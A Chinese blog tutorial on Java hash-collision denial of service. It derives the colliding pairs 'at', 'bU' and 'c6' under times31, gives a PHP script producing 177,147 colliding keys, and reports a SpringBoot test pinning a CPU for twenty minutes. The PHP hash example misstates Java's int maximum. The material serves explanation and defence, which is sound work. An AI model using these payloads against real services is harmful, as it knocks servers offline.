上一篇文章一种高级的DoS攻击-Hash碰撞攻击我通过伪造Hash Collision数据实现了对Java的DoS攻击,下面说说如何生产大量的攻击数据。

HashTable是一种非常常用的数据结构。它存取速度快,结构简单,深得程序员喜爱。HashTable大致数据结构如下图:

Hash Function也叫哈希散列函数,通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址。常见的散列函数有MD5,SHA*。不过HashTable中基本不会用MD5,SHA*算法,因为这两类算法太耗时,基本所有的编程语言都会选择Times*类型算法,比如Times31,times33,times37。Java使用的Hash算法为Times31,PHP使用的Hash算法为times33……

如果正常的使用HashTable,HashTable会是一种完美的数据结构。不过总有一些时候HashTable会被不正常使用,例如被攻击。假设”layne”,”abbc”这两个key通过散列算法得到的内存地址一样,我们的程序就不知道到底要获取哪一个key的参数。针对这种情况我们引入了Bucket(一个链表结构)的概念,当遇到这种情况时,程序会将同一个内存地址对应的多个数据存入同一个Bucket链表,这样能解决数据获取不到的问题,但是会带来额外的运算。当数十万甚至百万的数据都打到同一个Bucket,对HashTable的影响是致命的,运算量将急剧增加,分分钟将CPU耗尽。

通过研究各种语言底层的HashTable散列算法就能生产对应的攻击数据,这种攻击很难防御。不过在我们知道攻击原理之后,还是能很好应对。

一. Java HashCode函数实现

通过Google,我们很轻松的就搜索到了Java HashTable实现的散列算法,在Java中有个叫HashCode()的方法,我们可以这样使用。

System.out.println(“it2048.cn”.hashCode());

HashCode()函数底层就是使用times31算法,至于为什么选择times31,官方说法是 『 31 * i == (i << 5) - i 』,运算起来更快。源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* Returns a hash code for this string. The hash code for a
* <code>String</code> object is computed as
* <blockquote><pre>
* s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
* </pre></blockquote>
* using <code>int</code> arithmetic, where <code>s[i]</code> is the
* <i>i</i>th character of the string, <code>n</code> is the length of
* the string, and <code>^</code> indicates exponentiation.
* (The hash value of the empty string is zero.)
*
* @return a hash code value for this object.
*/
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value; for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

核心的计算的公式如下:

s[0]*31^(n-1) + s[1]*31^(n-2) + … + s[n-1]

通过推导计算,得到的计算公式如下:

F(n) = 31*F(n-1) + str[i]

使用PHP实现如下(这里只为加强说明哈希散列算法底层都是很简单的公式):

1
2
3
4
5
6
7
8
9
10
function hashCode($str) {  
$h = 0;
$len = strlen($str);
$t = 2147483648; //java int的最大值
for ($i = 0; $i < $len; $i++) {
$h = (($h << 5) - $h) + ord($str[$i]);
if($h > $t) $h %= $t; //溢出取模
}
return $h;
}

二. 通过Java HashCode函数实现逆推

通过如下公式

F(n) = 31*F(n-1) + str[i]

我们可以进一步推导出如下方程式:

31*x + y = 31*(x+1) + y-31 = 31*(x+2) + y-62

我们很容易找到满足条件的3组ASCII字符,分别是:

at = 97*31 + 116 = 3123

bU = 98*31 + 85 = 3123

c6 = 99*31 + 54 = 3123

通过如上数据,理论上我们可以构造任何偶数位的字符串,比如:

  1. atatatatatatatat (16位)
  2. c6atatatatatatbU (16位)
  3. atatatatatatbUat (16位)
  4. c6c6c6c6c6c6bUat (16位)

如上16位字符串得到的hashCode都是一样,理论上我们可以得到 pow(3,16/2) = 6561 个字符串;22位长度的字符串可以得到pow(3,22/2) = 177147 个字符串,用来发起简单的攻击完全足够。接下来我们封装一个简单的函数来生成 177147 个攻击字符串;

三. 通过脚本批量产出碰撞数据

如上我们已经推算出碰撞数据的实现方程式,接下来我通过PHP快速的生成碰撞数据。这里最好不要使用Java来生成碰撞数据,因为操作不当就会变成攻击自己的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$arr_src = ['at','bU','c6']; 
$str_tmp = ''; //存储临时字符串
$arr_rtn = [];
$t = combs(11,$arr_src,$str_tmp,$arr_rtn);
/**
* 组合算法
**/
function combs($n,$arr,$str,&$arr_rtn) {
if($n==1){
for($j=0;$j<3;$j++){
$arr_rtn[$str.$arr[$j]] = 0;
}
}else
{
for($j=0;$j<3;$j++){
combs($n-1,$arr,$str.$arr[$j],$arr_rtn);
}
}
}
$json = json_encode($arr_rtn);
file_put_contents('log/times31.txt',$json);

最后我们生成了如下数据(截取了前面几条):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"atatatatatatatatatatat":0,
"atatatatatatatatatatbU":0,
"atatatatatatatatatatc6":0,
"atatatatatatatatatbUat":0,
"atatatatatatatatatbUbU":0,
"atatatatatatatatatbUc6":0,
"atatatatatatatatatc6at":0,
"atatatatatatatatatc6bU":0,
"atatatatatatatatatc6c6":0,
"atatatatatatatatbUatat":0,
"atatatatatatatatbUatbU":0,
"atatatatatatatatbUatc6":0,
"atatatatatatatatbUbUat":0,
"atatatatatatatatbUbUbU":0,
"atatatatatatatatbUbUc6":0,
"atatatatatatatatbUc6at":0
}

四. 在Java中测试碰撞数据

通过程序我们生成了177147条碰撞数据,然后在SpringBoot中做个简单的测试,测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class IndexController {

    @RequestMapping(value="/",method = RequestMethod.GET)
public String index(){ String jsonStr = "";
try
{
FileReader fr = new FileReader("times31.txt");//需要读取的文件路径
BufferedReader br = new BufferedReader(fr);
jsonStr = br.readLine();
br.close();//关闭BufferReader流
fr.close(); //关闭文件流
}catch(IOException e)//捕捉异常
{
System.out.println("指定文件不存在");//处理异常
} Map<String, Object> map = new HashMap<String, Object>(); map = JSONObject.fromObject(jsonStr); return "Hash Collision ~";
}
}

测试结果,一个CPU被打到100%,持续了20多分钟。Mac Pro马上发烫,风扇开启。结束该java进程后电脑恢复。

Java Hash Collision之数据生产的更多相关文章

  1. java、python与留下迷点的php hash collision

    JAVA 生成java的碰撞数据比较简单 根据网上资料可知: at,bU,c6的在java中的hash值是相同的 则可以根据这三个不断做 笛卡尔积 简单明了就是做字符串拼接. 举个例子 把A当做at, ...

  2. Hash Collision DoS 问题

    Hash Collision DoS 问题http://coolshell.cn/articles/6424.html Hash Collision DoS (Hash碰撞的拒绝式服务攻击),有恶意的 ...

  3. Java使用POI实现数据导出excel报表

    Java使用POI实现数据导出excel报表 在上篇文章中,我们简单介绍了java读取word,excel和pdf文档内容 ,但在实际开发中,我们用到最多的是把数据库中数据导出excel报表形式.不仅 ...

  4. 大数据项目之_15_电信客服分析平台_01&02_项目背景+项目架构+项目实现+数据生产+数据采集/消费(存储)

    一.项目背景二.项目架构三.项目实现3.1.数据生产3.1.1.数据结构3.1.2.编写代码3.1.3.打包测试3.2.数据采集/消费(存储)3.2.1.数据采集:采集实时产生的数据到 kafka 集 ...

  5. Java在处理大数据的时候一些小技巧

    Java在处理大数据的时候一些小技巧 发布时间:2013-05-09 00:00:00 来源:中国IT实验室 作者:佚名   关键字:Java 众所周知,java在处理数据量比较大的时候,加载到内存必 ...

  6. Android java传递string类型数据给C

    本文接着实现<Android java传递int类型数据给C>的还未实现的方法: public native String sayHelloInC(String s); 先贴一个工具方法, ...

  7. Android java传递int类型数据给C

    本文根据<Android jni简便开发流程>中的开发流程来实现一个java传递int类型数据给C 新建项目,进行简单的布局 <LinearLayout xmlns:android= ...

  8. Java学习-022-Properties 文件数据写入

    Properties 配置文件写入主要通过 Properties.setProperty 和 Properties.store 两个方法,此文以一个简单的 properties 文件写入源码做示例. ...

  9. 微信支付java版V3验证数据合法性

    [TOC] 1. 微信支付java版V3验证数据合法性 概要:使用微信支付接口时,微信会返回或回调给商户XML数据,开发者需要验证微信返回的数据是否合法. 特别提醒:商户系统对于支付结果通知的内容一定 ...

随机推荐

  1. 【安全开发】java安全编码规范

    申明:本文非笔者原创,原文转载自:https://github.com/SecurityPaper/SecurityPaper-web/blob/master/_posts/2.SDL%E8%A7%8 ...

  2. [Maven]Maven中的一些基本概念

    Pom文件中的groupId.artifactId.version和name,这三个元素定义了一个项目的基本的坐标,在Maven世界中,任何的jar.pom或者war都是基于这些基本的坐标惊醒区分. ...

  3. httpClient创建对象、设置超时

    从老版本和新版本进行比较说明: 1.创建HttpClient对象 3.X: HttpClient httpClient = new DefaultHttpClient(); 4.3: Closeabl ...

  4. Selenium 管理 Cookies

    使用 Selenium ,还可以方便地对 Cookies 进行操作,例如获取.添加 .删除 Cookies 等 from selenium import webdriver browser = web ...

  5. 文件名过滤器FilenameFilter的用法

    Java.io.FilenameFilter是文件名过滤器,用来过滤不符合规格的文件名,并返回合格的文件: 实例1,匹配指定字符结尾的文件 package cn.test; import java.i ...

  6. C++ template —— 模板中的名称(三)

    第9章 模板中的名称------------------------------------------------------------------------------------------ ...

  7. 使用es6的蹦床函数解决递归造成的堆栈溢出

      首先,我们先定义一个函数,使用递归的思想写求和的方法: function sum(x, y) { if (y > 0) { return sum(x + 1, y - 1); } else ...

  8. open-falcon之agent

    功能 采集数据,解析数据,上报数据至transfer 基本涵盖了系统层面监控指标,直接将数据转换为metricValue形式,上报至transfer 支持插件采集,代码插件放可受git管理,放置在pl ...

  9. Android英文文档翻译系列(6)——LocalBroadcastManager

    public class LocalBroadcastManager extends Object java.lang.Object    ↳ android.support.v4.content.L ...

  10. springbatch---->springbatch的使用(二)

    这里我们对springbatch做一个比较深入的学习例子,解压文件,读取文件内容过滤写入到数据库中.如果你掉进了黑暗里,你能做的,不过是静心等待,直到你的双眼适应黑暗. springbatch的使用案 ...